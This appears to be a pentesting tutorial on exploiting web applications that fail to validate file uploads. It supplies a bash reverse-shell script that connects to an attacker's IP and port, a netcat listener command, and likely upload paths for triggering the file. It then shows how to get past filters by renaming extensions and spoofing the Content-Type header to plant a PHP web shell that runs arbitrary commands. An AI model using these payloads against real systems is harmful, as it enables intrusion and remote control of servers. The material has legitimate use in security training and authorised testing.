Abuse File Upload

File upload functionality is a common feature in web applications, allowing users to submit images, documents, or other files. However, improper handling of file uploads can lead to severe security risks, including remote code execution (RCE), privilege escalation, and data exfiltration.

Here we find an example scenario where this can be exploited:

• Imagine we find an application that allows users to upload files of a type but it does not validate the file type, for example, a field for submitting an image

http://$url/submit #Example route of the page with the submit option

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• We should submit a file for an image extension such as jpg, or png, among others. But as is not validating input we could try to submit an arbitrary file with a script for a Reverse Shell

RevShell.sh

#!/bin/bash
bash -i >& /dev/tcp/$MyIP/$port 0>&1

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• Then we set up a Netcat listener to catch the connection

 nc -nvlp $port #Same port that is in the script

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• Then we hit the web calling the file, and with this, we should catch the shell in our listener

http://$url/RevShell.sh #Invoke the file
http://$url/uploads/RevShell.sh   #Common route for uploaded files
http://$url/_uploaded/RevShell.sh #Another common route for uploaded files

If we don't know where the files are being saved on the web, we could fuzz the URL to find possible directions where they could be

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File Type Filter Bypass

Sometimes the uploads are check and sanitized in different forms, here we find some ways to bypass this some of these restrictions:

• In case it's filtering by a string comparison of the extension or name, we could try to change them arbitrarily to match the requested

mv RevShell.sh RevShell.jpg #Change extension if needed to match 
mv RevShell.sh image.jpg    #Change complete name if needed to match

Then we can continue to invoke the file and gain the remote execution

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• In case it's filtering by the file type indicated in the request headers, for example, the Content-Type header we could try to change it arbitrarily to a valid one

#Example request
Content-Disposition: form-data; name="avatar"; filename="Shell.php"
Content-Type: application/x-php #This is set by default

<?php system($_REQUEST["cmd"]); ?>

# We can change it to bypass
Content-Disposition: form-data; name="avatar"; filename="Shell.php"
Content-Type: image/png #Use file type required, the content won't be checked

<?php system($_REQUEST["cmd"]); ?>

ThenThen we can continue to invoke the file and gain the remote execution